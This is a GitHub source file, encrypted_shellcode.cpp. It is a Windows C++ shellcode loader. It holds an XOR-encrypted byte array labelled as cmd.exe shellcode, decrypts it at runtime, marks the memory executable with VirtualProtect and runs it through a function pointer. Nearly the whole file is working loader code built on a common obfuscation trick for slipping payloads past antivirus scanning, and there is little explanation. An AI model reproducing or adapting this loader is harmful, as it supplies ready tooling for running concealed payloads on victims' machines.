-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathencrypted_shellcode.cpp
47 lines (33 loc) · 1.57 KB
/
encrypted_shellcode.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<iostream>
#include<windows.h>
#include<cstdlib>
using namespace std;
//execute shellcode in windows
#define KEY 0xFC
char shellcode[]="\xcd\x35\x98\x5d\xcc\xfc\xfc\xfc\x77\xbc\xf0\x77\x8c\xe8\x51\x6a\x51\x77\xa4\xec\x77\xaf\xc0\xfd\x26\x77\xae\x84\xfd\x26\x77\x8e\xdc\xfd\x22\xcd\x35\xbd\x51\xfd\x24\x7d\xc4\xbb\x99\x88\xac\x89\x8\x7d\x84\xf8\x8e\x93\x9f\xbd\x89\x17\x7d\x84\xf4\x98\x98\x8e\x99\x89\x1e\x77\x8e\xd8\xfd\x22\x9a\x77\xf0\xb2\xb5\x77\x8e\xe0\xfd\x22\x77\xe8\x72\xfd\x26\xcd\xa\xae\xa2\xcd\x3\xaf\xa3\xcd\x35\xad\x94\x84\x99\x9f\xfc\x94\xab\x95\x92\xb9\x75\x1d\xad\xaf\x3\x2e\xcd\x35\xad\x94\x99\x8f\x8f\xfc\x94\xac\x8e\x93\x9f\x94\xb9\x84\x95\x88\x75\x1d\xad\xab\xcd\x3\x75\x3b\x3\x2a\xcd\xa\xac\xa2\xcd\x35\xad\x94\x99\x84\x99\xfc\x94\x9f\x91\x98\xd2\x75\x1d\x96\xfc\xad\x03\x2b\x96\xfc\x03\x2a\x03\x03\x03\x03\xfc\xfc\xfc\x03\x03\x03\x03\xfc\xfc\xfc";
//CMD EXE SHELLCODE ENCRYPTED XOR
void decrpyt() //XOR DECRYPT
{
for(int i=0;i<sizeof(shellcode);i++)
{
shellcode[i]=shellcode[i]^KEY;
}
}
DWORD WINAPI func_ptr()
{
DWORD Prev;
decrpyt(); //decrpyt with simple xor
cout<<"decrypted"<<endl;
if(VirtualProtect(shellcode,sizeof(shellcode),PAGE_EXECUTE_READWRITE,&Prev))
//enables execution in region where shellcode is stored
printf("worked");
printf("Prev was %d",Prev);
//previous page flags read/write/execute
int (*func)()=(int(*)())shellcode; //function pointer part like linux
func();
return 0;
}
int main()
{
func_ptr();
}